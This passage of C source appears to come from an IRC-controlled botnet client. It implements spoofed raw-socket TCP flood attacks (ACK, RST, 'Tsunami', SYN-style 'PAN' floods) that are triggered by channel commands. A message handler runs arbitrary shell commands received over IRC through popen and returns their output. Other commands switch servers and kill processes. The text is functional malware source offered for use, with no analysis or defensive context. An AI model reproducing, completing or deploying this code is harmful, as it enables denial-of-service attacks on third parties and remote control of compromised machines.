  1336.                 send_tcp.ip.id = rand();
  1337.                 send_tcp.ip.check = 0;
  1338.                 send_tcp.ip.saddr = saddr;
  1339.                 send_tcp.ip.daddr = daddr;
  1340.                 send_tcp.tcp.source = rand();
  1341.                 send_tcp.tcp.dest = dest;
  1342.                 send_tcp.tcp.seq = rand();
  1343.                 send_tcp.tcp.ack_seq = rand();
  1344.                 send_tcp.tcp.check = 0;
  1345.                 sin.sin_family = AF_INET;
  1346.                 sin.sin_port = send_tcp.tcp.dest;
  1347.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  1348.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  1349.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  1350.                 pseudo_header.source_address = send_tcp.ip.saddr;
  1351.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  1352.                 pseudo_header.placeholder = 0;
  1353.                 pseudo_header.protocol = IPPROTO_TCP;
  1354.                 pseudo_header.tcp_length = htons(20+psize);
  1355.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  1356.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  1357.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  1358.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  1359.                 if (a >= 50) {
  1360.                         if (time(NULL) >= start+secs) exit(0);
  1361.                         a=0;
  1362.                 }
  1363.                 a++;
  1364.         }
  1365.         close(get);
  1366.         exit(0);
  1367. }
  1368. void nsack(int sock, char *sender, int argc, char **argv) {
  1369.         struct send_tcp send_tcp;
  1370.         struct pseudo_header pseudo_header;
  1371.         struct sockaddr_in sin;
  1372.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  1373.         unsigned int psize=20, source, dest, check;
  1374.         unsigned long saddr, daddr,secs;
  1375.         int get;
  1376.         time_t start=time(NULL);
  1377.         if (mfork(sender) != 0) return;
  1378.         if (argc < 3) {
  1379.                 Send(sock,"NOTICE %s :NSACK <target> <port> <secs>\n",sender);
  1380.                 exit(1);
  1381.         }
  1382.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  1383.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  1384.         daddr=host2ip(sender,argv[1]);
  1385.         secs=atol(argv[3]);
  1386.         dest=htons(atoi(argv[2]));
  1387.         Send(sock,"NOTICE %s :Packeting %s with ACK.\n",sender,argv[1]);
  1388.         send_tcp.ip.ihl = 5;
  1389.         send_tcp.ip.version = 4;
  1390.         send_tcp.ip.tos = 16;
  1391.         send_tcp.ip.frag_off = 64;
  1392.         send_tcp.ip.ttl = 255;
  1393.         send_tcp.ip.protocol = 6;
  1394.         send_tcp.tcp.doff = 5;
  1395.         send_tcp.tcp.res1 = 0;
  1396.         send_tcp.tcp.cwr = 0;
  1397.         send_tcp.tcp.ece = 0;
  1398.         send_tcp.tcp.urg = 0;
  1399.         send_tcp.tcp.ack = 1;
  1400.         send_tcp.tcp.psh = 1;
  1401.         send_tcp.tcp.rst = 0;
  1402.         send_tcp.tcp.fin = 0;
  1403.         send_tcp.tcp.syn = 0;
  1404.         send_tcp.tcp.window = 65535;
  1405.         send_tcp.tcp.urg_ptr = 0;
  1406.         while(1) {
  1407.                 saddr=INADDR_ANY;
  1408.                 if (atoi(argv[2]) == 0) dest=rand();
  1409.                 send_tcp.ip.tot_len = htons(40+psize);
  1410.                 send_tcp.ip.id = rand();
  1411.                 send_tcp.ip.check = 0;
  1412.                 send_tcp.ip.saddr = saddr;
  1413.                 send_tcp.ip.daddr = daddr;
  1414.                 send_tcp.tcp.source = rand();
  1415.                 send_tcp.tcp.dest = dest;
  1416.                 send_tcp.tcp.seq = rand();
  1417.                 send_tcp.tcp.ack_seq = rand();
  1418.                 send_tcp.tcp.check = 0;
  1419.                 sin.sin_family = AF_INET;
  1420.                 sin.sin_port = send_tcp.tcp.dest;
  1421.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  1422.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  1423.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  1424.                 pseudo_header.source_address = send_tcp.ip.saddr;
  1425.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  1426.                 pseudo_header.placeholder = 0;
  1427.                 pseudo_header.protocol = IPPROTO_TCP;
  1428.                 pseudo_header.tcp_length = htons(20+psize);
  1429.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  1430.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  1431.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  1432.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  1433.                 if (a >= 50) {
  1434.                         if (time(NULL) >= start+secs) exit(0);
  1435.                         a=0;
  1436.                 }
  1437.                 a++;
  1438.         }
  1439.         close(get);
  1440.         exit(0);
  1441. }
  1442. void rst(int sock, char *sender, int argc, char **argv) {
  1443.         struct send_tcp send_tcp;
  1444.         struct pseudo_header pseudo_header;
  1445.         struct sockaddr_in sin;
  1446.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  1447.         unsigned int psize=20, source, dest, check;
  1448.         unsigned long saddr, daddr,secs;
  1449.         int get;
  1450.         time_t start=time(NULL);
  1451.         if (mfork(sender) != 0) return;
  1452.         if (argc < 3) {
  1453.                 Send(sock,"NOTICE %s :RST <target> <port> <secs>\n",sender);
  1454.                 exit(1);
  1455.         }
  1456.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  1457.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  1458.         daddr=host2ip(sender,argv[1]);
  1459.         secs=atol(argv[3]);
  1460.     dest=htons(atoi(argv[2]));
  1461.         Send(sock,"NOTICE %s :Packeting %s with RST.\n",sender,argv[1]);
  1462.     send_tcp.ip.ihl = 5;
  1463.         send_tcp.ip.version = 4;
  1464.         send_tcp.ip.tos = 16;
  1465.         send_tcp.ip.frag_off = 64;
  1466.     send_tcp.ip.ttl = 255;
  1467.     send_tcp.ip.protocol = 6;
  1468.     send_tcp.tcp.doff = 5;
  1469.         send_tcp.tcp.res1 = 0;
  1470.         send_tcp.tcp.cwr = 0;
  1471.         send_tcp.tcp.ece = 0;
  1472.         send_tcp.tcp.urg = 0;
  1473.         send_tcp.tcp.ack = 0;
  1474.         send_tcp.tcp.psh = 0;
  1475.     send_tcp.tcp.rst = 1;
  1476.         send_tcp.tcp.fin = 0;
  1477.         send_tcp.tcp.syn = 0;
  1478.     send_tcp.tcp.window = 65535;
  1479.         send_tcp.tcp.urg_ptr = 0;
  1480.         while(1) {
  1481.         saddr=getspoof();
  1482.         if (atoi(argv[2]) == 0) dest=rand();
  1483.                 send_tcp.ip.tot_len = htons(40+psize);
  1484.                 send_tcp.ip.id = rand();
  1485.                 send_tcp.ip.check = 0;
  1486.                 send_tcp.ip.saddr = saddr;
  1487.                 send_tcp.ip.daddr = daddr;
  1488.                 send_tcp.tcp.source = rand();
  1489.                 send_tcp.tcp.dest = dest;
  1490.                 send_tcp.tcp.seq = rand();
  1491.                 send_tcp.tcp.ack_seq = rand();
  1492.                 send_tcp.tcp.check = 0;
  1493.                 sin.sin_family = AF_INET;
  1494.                 sin.sin_port = send_tcp.tcp.dest;
  1495.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  1496.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  1497.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  1498.                 pseudo_header.source_address = send_tcp.ip.saddr;
  1499.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  1500.                 pseudo_header.placeholder = 0;
  1501.                 pseudo_header.protocol = IPPROTO_TCP;
  1502.                 pseudo_header.tcp_length = htons(20+psize);
  1503.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  1504.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  1505.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  1506.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  1507.                 if (a >= 50) {
  1508.                         if (time(NULL) >= start+secs) exit(0);
  1509.                         a=0;
  1510.                 }
  1511.                 a++;
  1512.         }
  1513.         close(get);
  1514.         exit(0);
  1515. }
  1516. void tsunami(int sock, char *sender, int argc, char **argv) {
  1517.         struct send_tcp send_tcp;
  1518.         struct pseudo_header pseudo_header;
  1519.         struct sockaddr_in sin;
  1520.         unsigned int psize=1400, check,i;
  1521.         unsigned long saddr, daddr,secs;
  1522.         int get;
  1523.         time_t start=time(NULL);
  1524.         if (mfork(sender) != 0) return;
  1525.         if (argc < 2) {
  1526.                 Send(sock,"NOTICE %s :TSUNAMI <target> <secs>\n",sender);
  1527.                 exit(1);
  1528.         }
  1529.         secs=atol(argv[2]);
  1530.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  1531.         srand(time(NULL) ^ getpid());
  1532.         memset(send_tcp.buf,rand(),psize);
  1533.         daddr=host2ip(sender,argv[1]);
  1534.         Send(sock,"NOTICE %s :Tsunami heading for %s.\n",sender,argv[1]);
  1535.         while(1) {
  1536.                 saddr=getspoof();
  1537.                 send_tcp.ip.ihl = 5;
  1538.                 send_tcp.ip.version = 4;
  1539.                 send_tcp.ip.tos = 16;
  1540.                 send_tcp.ip.tot_len = htons(40+psize);
  1541.                 send_tcp.ip.id = rand();
  1542.                 send_tcp.ip.frag_off = 64;
  1543.                 send_tcp.ip.ttl = 64;
  1544.                 send_tcp.ip.protocol = 6;
  1545.                 send_tcp.ip.check = 0;
  1546.                 send_tcp.ip.saddr = saddr;
  1547.                 send_tcp.ip.daddr = daddr;
  1548.                 send_tcp.tcp.source = rand();
  1549.                 send_tcp.tcp.dest = rand();
  1550.                 send_tcp.tcp.seq = rand();
  1551.                 send_tcp.tcp.ack_seq = rand();
  1552.                 send_tcp.tcp.doff = 5;
  1553.                 send_tcp.tcp.res1 = 0;
  1554.                 send_tcp.tcp.cwr = 0;
  1555.                 send_tcp.tcp.ece = 0;
  1556.                 send_tcp.tcp.urg = 0;
  1557.                 send_tcp.tcp.ack = 1;
  1558.                 send_tcp.tcp.psh = 1;
  1559.                 send_tcp.tcp.rst = 0;
  1560.                 send_tcp.tcp.fin = 0;
  1561.                 send_tcp.tcp.syn = 0;
  1562.                 send_tcp.tcp.window = 65535;
  1563.                 send_tcp.tcp.check = 0;
  1564.                 send_tcp.tcp.urg_ptr = 0;
  1565.                 sin.sin_family = AF_INET;
  1566.                 sin.sin_port = send_tcp.tcp.dest;
  1567.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  1568.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  1569.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  1570.                 pseudo_header.source_address = send_tcp.ip.saddr;
  1571.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  1572.                 pseudo_header.placeholder = 0;
  1573.                 pseudo_header.protocol = IPPROTO_TCP;
  1574.                 pseudo_header.tcp_length = htons(20+psize);
  1575.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  1576.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  1577.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  1578.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  1579.                 if (i >= 50) {
  1580.                         if (time(NULL) >= start+secs) break;
  1581.                         i=0;
  1582.                 }
  1583.                 i++;
  1584.         }
  1585.         close(get);
  1586.         exit(0);
  1587. }
  1588. void tcp(int sock, char *sender, int argc, char **argv) {
  1589.         struct send_tcp send_tcp;
  1590.         struct pseudo_header pseudo_header;
  1591.         struct sockaddr_in sin;
  1592.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  1593.         unsigned int psize=20, source, dest, check;
  1594.         unsigned long saddr, daddr,secs;
  1595.         int get;
  1596.         time_t start=time(NULL);
  1597.         if (mfork(sender) != 0) return;
  1598.         if (argc < 3) {
  1599.                 Send(sock,"NOTICE %s :PAN <target> <port> <secs>\n",sender);
  1600.                 exit(1);
  1601.         }
  1602.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  1603.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  1604.         daddr=host2ip(sender,argv[1]);
  1605.         secs=atol(argv[3]);
  1606.         Send(sock,"NOTICE %s :Flooding %s.\n",sender,argv[1]);
  1607.         send_tcp.ip.ihl = 5;
  1608.         send_tcp.ip.version = 4;
  1609.         send_tcp.ip.tos = 16;
  1610.         send_tcp.ip.frag_off = 64;
  1611.         send_tcp.ip.ttl = 64;
  1612.         send_tcp.ip.protocol = 6;
  1613.         send_tcp.tcp.ack_seq = 1;
  1614.         send_tcp.tcp.doff = 5;
  1615.         send_tcp.tcp.res1 = 3;
  1616.         send_tcp.tcp.cwr = 0;
  1617.         send_tcp.tcp.ece = 0;
  1618.         send_tcp.tcp.urg = 0;
  1619.         send_tcp.tcp.ack = 0;
  1620.         send_tcp.tcp.psh = 0;
  1621.         send_tcp.tcp.rst = 0;
  1622.         send_tcp.tcp.fin = 0;
  1623.         send_tcp.tcp.syn = 1;
  1624.         send_tcp.tcp.window = 65535;
  1625.         send_tcp.tcp.urg_ptr = 1;
  1626.         dest=htons(atoi(argv[2]));
  1627.         while(1) {
  1628.                 source=rand();
  1629.                 if (atoi(argv[2]) == 0) dest=rand();
  1630.                 saddr=getspoof();
  1631.                 send_tcp.ip.tot_len = htons(40+psize);
  1632.                 send_tcp.ip.id = rand();
  1633.                 send_tcp.ip.saddr = saddr;
  1634.                 send_tcp.ip.daddr = daddr;
  1635.                 send_tcp.ip.check = 1;
  1636.                 send_tcp.tcp.source = source;
  1637.                 send_tcp.tcp.dest = dest;
  1638.                 send_tcp.tcp.seq = rand();
  1639.                 send_tcp.tcp.check = 1;
  1640.                 sin.sin_family = AF_INET;
  1641.                 sin.sin_port = dest;
  1642.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  1643.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  1644.                 check = rand();
  1645.                 send_tcp.buf[9]=((char*)&check)[0];
  1646.                 send_tcp.buf[10]=((char*)&check)[1];
  1647.                 send_tcp.buf[11]=((char*)&check)[2];
  1648.                 send_tcp.buf[12]=((char*)&check)[3];
  1649.                 pseudo_header.source_address = send_tcp.ip.saddr;
  1650.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  1651.                 pseudo_header.placeholder = 0;
  1652.                 pseudo_header.protocol = IPPROTO_TCP;
  1653.                 pseudo_header.tcp_length = htons(20+psize);
  1654.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  1655.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  1656.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  1657.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  1658.                 if (a >= 50) {
  1659.                         if (time(NULL) >= start+secs) exit(0);
  1660.                         a=0;
  1661.                 }
  1662.                 a++;
  1663.         }
  1664.         close(get);
  1665.         exit(0);
  1666. }
  1667. void tcp2(int sock, char *sender, int argc, char **argv) {
  1668.         struct send_tcp send_tcp;
  1669.         struct pseudo_header pseudo_header;
  1670.         struct sockaddr_in sin;
  1671.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  1672.         unsigned int psize=20, source, dest, check;
  1673.         unsigned long saddr, daddr,secs;
  1674.         int get;
  1675.         time_t start=time(NULL);
  1676.         if (mfork(sender) != 0) return;
  1677.         if (argc < 3) {
  1678.                 Send(sock,"NOTICE %s :PAN <target> <port> <secs>\n",sender);
  1679.                 exit(1);
  1680.         }
  1681.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  1682.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  1683.         daddr=host2ip(sender,argv[1]);
  1684.         secs=atol(argv[3]);
  1685.         Send(sock,"NOTICE %s :Flooding %s.\n",sender,argv[1]);
  1686.         send_tcp.ip.ihl = 5;
  1687.         send_tcp.ip.version = 4;
  1688.         send_tcp.ip.tos = 16;
  1689.         send_tcp.ip.frag_off = 64;
  1690.         send_tcp.ip.ttl = 64;
  1691.         send_tcp.ip.protocol = 6;
  1692.         send_tcp.tcp.ack_seq = 1;
  1693.         send_tcp.tcp.doff = 5;
  1694.         send_tcp.tcp.res1 = 2;
  1695.         send_tcp.tcp.cwr = 0;
  1696.         send_tcp.tcp.ece = 0;
  1697.         send_tcp.tcp.urg = 0;
  1698.         send_tcp.tcp.ack = 0;
  1699.         send_tcp.tcp.psh = 0;
  1700.         send_tcp.tcp.rst = 0;
  1701.         send_tcp.tcp.fin = 0;
  1702.         send_tcp.tcp.syn = 1;
  1703.         send_tcp.tcp.window = 65535;
  1704.         send_tcp.tcp.urg_ptr = 1;
  1705.         dest=htons(atoi(argv[2]));
  1706.         while(1) {
  1707.                 source=rand();
  1708.                 if (atoi(argv[2]) == 0) dest=rand();
  1709.                 saddr=getspoof();
  1710.                 send_tcp.ip.tot_len = htons(40+psize);
  1711.                 send_tcp.ip.id = rand();
  1712.                 send_tcp.ip.saddr = saddr;
  1713.                 send_tcp.ip.daddr = daddr;
  1714.                 send_tcp.ip.check = 1;
  1715.                 send_tcp.tcp.source = source;
  1716.                 send_tcp.tcp.dest = dest;
  1717.                 send_tcp.tcp.seq = rand();
  1718.                 send_tcp.tcp.check = 1;
  1719.                 sin.sin_family = AF_INET;
  1720.                 sin.sin_port = dest;
  1721.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  1722.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  1723.                 check = rand();
  1724.                 send_tcp.buf[9]=((char*)&check)[0];
  1725.                 send_tcp.buf[10]=((char*)&check)[1];
  1726.                 send_tcp.buf[11]=((char*)&check)[2];
  1727.                 send_tcp.buf[12]=((char*)&check)[3];
  1728.                 pseudo_header.source_address = send_tcp.ip.saddr;
  1729.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  1730.                 pseudo_header.placeholder = 0;
  1731.                 pseudo_header.protocol = IPPROTO_TCP;
  1732.                 pseudo_header.tcp_length = htons(20+psize);
  1733.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  1734.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  1735.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  1736.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  1737.                 if (a >= 50) {
  1738.                         if (time(NULL) >= start+secs) exit(0);
  1739.                         a=0;
  1740.                 }
  1741.                 a++;
  1742.         }
  1743.         close(get);
  1744.         exit(0);
  1745. }
  1746. void pan(int sock, char *sender, int argc, char **argv) {
  1747.         struct send_tcp send_tcp;
  1748.         struct pseudo_header pseudo_header;
  1749.         struct sockaddr_in sin;
  1750.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  1751.         unsigned int psize=20, source, dest, check;
  1752.         unsigned long saddr, daddr,secs;
  1753.         int get;
  1754.         time_t start=time(NULL);
  1755.         if (mfork(sender) != 0) return;
  1756.         if (argc < 3) {
  1757.                 Send(sock,"NOTICE %s :PAN <target> <port> <secs>\n",sender);
  1758.                 exit(1);
  1759.         }
  1760.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  1761.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  1762.         daddr=host2ip(sender,argv[1]);
  1763.         secs=atol(argv[3]);
  1764.         Send(sock,"NOTICE %s :Panning %s.\n",sender,argv[1]);
  1765.         send_tcp.ip.ihl = 5;
  1766.         send_tcp.ip.version = 4;
  1767.         send_tcp.ip.tos = 16;
  1768.         send_tcp.ip.frag_off = 64;
  1769.         send_tcp.ip.ttl = 64;
  1770.         send_tcp.ip.protocol = 6;
  1771.         send_tcp.tcp.ack_seq = 0;
  1772.         send_tcp.tcp.doff = 10;
  1773.         send_tcp.tcp.res1 = 1;
  1774.         send_tcp.tcp.cwr = 0;
  1775.         send_tcp.tcp.ece = 0;
  1776.         send_tcp.tcp.urg = 0;
  1777.         send_tcp.tcp.ack = 0;
  1778.         send_tcp.tcp.psh = 0;
  1779.         send_tcp.tcp.rst = 0;
  1780.         send_tcp.tcp.fin = 0;
  1781.         send_tcp.tcp.syn = 1;
  1782.         send_tcp.tcp.window = 65535;
  1783.         send_tcp.tcp.urg_ptr = 0;
  1784.         dest=htons(atoi(argv[2]));
  1785.         while(1) {
  1786.                 source=rand();
  1787.                 if (atoi(argv[2]) == 0) dest=rand();
  1788.                 saddr=getspoof();
  1789.                 send_tcp.ip.tot_len = htons(40+psize);
  1790.                 send_tcp.ip.id = rand();
  1791.                 send_tcp.ip.saddr = saddr;
  1792.                 send_tcp.ip.daddr = daddr;
  1793.                 send_tcp.ip.check = 1;
  1794.                 send_tcp.tcp.source = source;
  1795.                 send_tcp.tcp.dest = dest;
  1796.                 send_tcp.tcp.seq = rand();
  1797.                 send_tcp.tcp.check = 0;
  1798.                 sin.sin_family = AF_INET;
  1799.                 sin.sin_port = dest;
  1800.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  1801.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  1802.                 check = rand();
  1803.                 send_tcp.buf[9]=((char*)&check)[0];
  1804.                 send_tcp.buf[10]=((char*)&check)[1];
  1805.                 send_tcp.buf[11]=((char*)&check)[2];
  1806.                 send_tcp.buf[12]=((char*)&check)[3];
  1807.                 pseudo_header.source_address = send_tcp.ip.saddr;
  1808.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  1809.                 pseudo_header.placeholder = 0;
  1810.                 pseudo_header.protocol = IPPROTO_TCP;
  1811.                 pseudo_header.tcp_length = htons(20+psize);
  1812.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  1813.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  1814.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  1815.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  1816.                 if (a >= 50) {
  1817.                         if (time(NULL) >= start+secs) exit(0);
  1818.                         a=0;
  1819.                 }
  1820.                 a++;
  1821.         }
  1822.         close(get);
  1823.         exit(0);
  1824. }
  1825. void move(int sock, char *sender, int argc, char **argv) {
  1826.         if (argc < 1) {
  1827.                 Send(sock,"NOTICE %s :MOVE <server>\n",sender);
  1828.                 exit(1);
  1829.         }
  1830.     server=strdup(argv[1]);
  1831.     changeservers=1;
  1832.     close(sock);
  1833. }
  1834. void killall(int sock, char *sender, int argc, char **argv) {
  1835.         unsigned long i;
  1836.         for (i=0;i<numpids;i++) {
  1837.                 if (pids[i] != 0 && pids[i] != getpid()) {
  1838.                         if (sender) Send(sock,"NOTICE %s :Killing pid %d.\n",sender,pids[i]);
  1839.                         kill(pids[i],9);
  1840.                 }
  1841.         }
  1842. }
  1843. void killd(int sock, char *sender, int argc, char **argv) {
  1844.     if (!disable) kill(0,9);
  1845.     else Send(sock,"NOTICE %s :Unable to comply.\n");
  1846. }
  1847. struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
  1848.     { "URG", urg},
  1849.     { "TCP2", tcp2},
  1850.     { "TCP", tcp},
  1851.     { "PSH", psh},
  1852.     { "FIN", fin},
  1853.     { "MIX5", mix5},
  1854.     { "MIX4", mix4},
  1855.     { "MIX3", mix3},
  1856.     { "MIX2", mix2},
  1857.     { "CWR", cwr},
  1858.     { "URG", urg},
  1859.     { "RST", rst},
  1860.     { "ECE", ece},
  1861.     { "MIX", mix},
  1862.     { "NSACK", nsack},
  1863.     { "NSSYN", nssyn},
  1864.     { "ACK", ack},
  1865.         { "SYN", syn},
  1866.         { "UDP", udp},
  1867.         { "PAN", pan},
  1868.     { "TSUNAMI", tsunami},
  1869.         { "NICK", nickc},
  1870.         { "SERVER", move},
  1871.     { "GETSPOOFS", getspoofs},
  1872.         { "SPOOFS", spoof},
  1873.     { "DISABLE", disable },
  1874.         { "ENABLE", enable },
  1875.         { "KILL", killd },
  1876.     { "GET", get },
  1877.         { "VERSION", version },
  1878.         { "KILLALL", killall },
  1879. { (char *)0, (void (*)(int,char *,int,char **))0 } };
  1880. void _PRIVMSG(int sock, char *sender, char *str) {
  1881.         int i;
  1882.         char *to, *message;
  1883.         for (i=0;i<strlen(str) && str[i] != ' ';i++);
  1884.         str[i]=0;
  1885.         to=str;
  1886.         message=str+i+2;
  1887.         for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  1888.         sender[i]=0;
  1889.         if (*message == '!' && !strcasecmp(to,chan)) {
  1890.                 char *params[12], name[1024]={0};
  1891.                 int num_params=0, m;
  1892.                 message++;
  1893.                 for (i=0;i<strlen(message) && message[i] != ' ';i++);
  1894.                 message[i]=0;
  1895.                 if (strwildmatch(message,nick)) return;
  1896.                 message+=i+1;
  1897.                 if (!strncmp(message,"IRC ",4)) if (disabled) Send(sock,"NOTICE %s :Unable to comply.\n",sender); else Send(sock,"%s\n",message+4);
  1898.                 if (!strncmp(message,"SH ",3)) {
  1899.                         char buf[1024];
  1900.                         FILE *command;
  1901.                         if (mfork(sender) != 0) return;
  1902.                         memset(buf,0,1024);
  1903.                         sprintf(buf,"export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s",message+3);
  1904.                         command=popen(buf,"r");
  1905.                         while(!feof(command)) {
  1906.                                 memset(buf,0,1024);
  1907.                                 fgets(buf,1024,command);
  1908.                                 Send(sock,"NOTICE %s :%s\n",sender,buf);
  1909.                                 sleep(1);
  1910.                         }
  1911.                         pclose(command);
  1912.                         exit(0);
  1913.                 }
  1914.                 m=strlen(message);
  1915.                 for (i=0;i<m;i++) {
  1916.                         if (*message == ' ' || *message == 0) break;
  1917.                         name[i]=*message;
  1918.                         message++;
  1919.                 }
  1920.                 for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
  1921.                 num_params++;
  1922.                 if (num_params > 10) num_params=10;
  1923.                 params[0]=name;
  1924.                 params[num_params+1]="\0";
  1925.                 m=1;
  1926.                 while (*message != 0) {
  1927.                         message++;
  1928.                         if (m >= num_params) break;
  1929.                         for (i=0;i<strlen(message) && message[i] != ' ';i++);
  1930.                         params[m]=(char*)malloc(i+1);
  1931.                         strncpy(params[m],message,i);
  1932.                         params[m][i]=0;
  1933.                         m++;
  1934.                         message+=i;
  1935.                 }
  1936.                 for (m=0; flooders[m].cmd != (char *)0; m++) {
  1937.                         if (!strcasecmp(flooders[m].cmd,name)) {
  1938.                                 flooders[m].func(sock,sender,num_params-1,params);
  1939.                                 for (i=1;i<num_params;i++) free(params[i]);
  1940.                                 return;
  1941.                         }
  1942.                 }
  1943.         }
  1944. }
  1945. void _376(int sock, char *sender, char *str) {
  1946.         Send(sock,"MODE %s -xi\n",nick);
  1947.         Send(sock,"JOIN %s :%s\n",chan,key);
  1948.         Send(sock,"WHO %s\n",nick);
  1949. }
  1950. void _PING(int sock, char *sender, char *str) {
  1951.         Send(sock,"PONG %s\n",str);
  1952. }
  1953. void _352(int sock, char *sender, char *str) {
  1954.         int i,d;
  1955.         char *msg=str;
  1956.         struct hostent *hostm;
  1957.         unsigned long m;
  1958.         for (i=0,d=0;d<5;d++) {
  1959.                 for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  1960.                 if (i == strlen(str)) return;
  1961.         }
  1962.         for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  1963.         msg[i]=0;
  1964.         if (!strcasecmp(msg,nick) && !spoofsm) {
  1965.                 msg=str;
  1966.                 for (i=0,d=0;d<3;d++) {
  1967.                         for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  1968.                         if (i == strlen(str)) return;
  1969.                 }
  1970.                 for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  1971.                 msg[i]=0;
  1972.                 if ((m = inet_addr(msg)) == -1) {
  1973.                         if ((hostm=gethostbyname(msg)) == NULL) {
  1974.                                 Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
  1975.                                 return;
  1976.                         }
  1977.                         memcpy((char*)&m, hostm->h_addr, hostm->h_length);
  1978.                 }
  1979.                 ((char*)&spoofs)[3]=((char*)&m)[0];
  1980.                 ((char*)&spoofs)[2]=((char*)&m)[1];
  1981.                 ((char*)&spoofs)[1]=((char*)&m)[2];
  1982.                 ((char*)&spoofs)[0]=0;
  1983.                 spoofsm=256;
  1984.         }
  1985. }
  1986. void _433(int sock, char *sender, char *str) {
  1987.         free(nick);
  1988.         nick=makestring();
